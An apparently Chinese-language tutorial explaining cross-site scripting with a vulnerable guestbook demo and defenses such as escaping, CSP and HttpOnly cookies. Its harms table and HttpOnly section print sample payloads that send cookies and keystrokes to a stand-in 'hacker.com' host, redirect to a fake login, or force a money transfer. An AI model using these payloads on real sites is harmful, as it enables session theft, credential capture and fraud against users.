XSS(Cross-Site Scripting)是黑客通过在网页中注入恶意 JavaScript 代码,让受害者的浏览器执行这些代码的攻击方式。
常见攻击场景
XSS 攻击通常发生在网站允许用户提交内容的地方,例如:
论坛、留言板(黑客发布恶意评论)
博客文章(黑客在评论区插入恶意代码)
搜索框(黑客让受害者访问特定链接)
XSS 实战演示
1️⃣ 漏洞场景:不安全的留言板
假设一个网站 vulnerable.com
允许用户提交留言:
<form action="/submit" method="POST">
<input type="text" name="message">
<button type="submit">提交留言</button>
</form>
如果网站直接显示用户输入的内容:
<div>用户留言:<script>alert('你被黑了!')</script></div>
问题: 由于网站未对用户输入进行过滤,黑客可以插入恶意 JavaScript 代码!
2️⃣ 黑客如何利用?
黑客在留言框中输入:
<script>alert('你被黑了!')</script>
服务器会存储这段代码,并在页面加载时执行,导致所有访问该页面的用户都弹出提示框。这就是 XSS 攻击!
3️⃣ XSS 可造成的危害
攻击方式 | 恶意代码示例 | 后果 |
---|---|---|
窃取用户 Cookie | <script>document.write(document.cookie)</script> |
盗取用户登录凭证 |
记录用户输入 | <script>document.onkeypress = function(e) { fetch('http://hacker.com/steal?key=' + e.key); }</script> |
记录用户账号密码 |
伪造钓鱼页面 | <script>location.href='http://hacker.com/fake-login';</script> |
诱骗用户输入密码 |
让用户自动执行操作 | <script>fetch('http://vulnerable.com/transfer?to=hacker&amount=1000');</script> |
受害者自动转账 |
🚫 如何防御 XSS?
✅ 1. 过滤和转义用户输入 不直接输出 HTML,而是转义特殊字符,例如:
from flask import escape
safe_message = escape(user_input)
这样,<script>
会被转换成 <script>
,浏览器不会执行它。
✅ 2. 使用 CSP(内容安全策略) CSP 可阻止执行未授权的脚本:
Content-Security-Policy: default-src 'self'; script-src 'self'
这样,即使 XSS 代码被插入,浏览器也不会执行!
✅ 3. 设置 HttpOnly Cookie 防止 JavaScript 读取 Cookie:
Set-Cookie: sessionid=abc123; HttpOnly; Secure
即使 XSS 存在,黑客也无法窃取用户 Cookie!
🌟 HttpOnly 是什么?
HttpOnly 是 Cookie 的一个安全属性,当服务器发送 Cookie 时,可以加上 HttpOnly:
Set-Cookie: sessionid=abc123; HttpOnly; Secure
作用:防止 JavaScript 代码(包括 XSS 攻击)窃取 Cookie!
🔴 XSS 窃取 Cookie(未启用 HttpOnly)
<script>
fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>
黑客可窃取 sessionid
并冒充用户登录。
🟢 HttpOnly 保护 Cookie
<script>
alert(document.cookie); // 结果:undefined
</script>
即使 XSS 存在,JavaScript 也无法读取 Cookie。
🚫 HttpOnly 不能防止什么?
虽然 HttpOnly 能阻止 JavaScript 访问 Cookie,但它无法防止 CSRF(跨站请求伪造)。 因此,需要配合 CSRF Token 机制来防御!
🎯 总结
✅ XSS 允许黑客注入 JavaScript 代码,诱骗受害者执行。 ✅ XSS 可窃取 Cookie、记录按键、伪造页面、远程控制用户。 ✅ 防御措施包括:过滤输入、使用 CSP、设置 HttpOnly Cookie。
🔥 你学会了吗?如果还有疑问,欢迎讨论!😃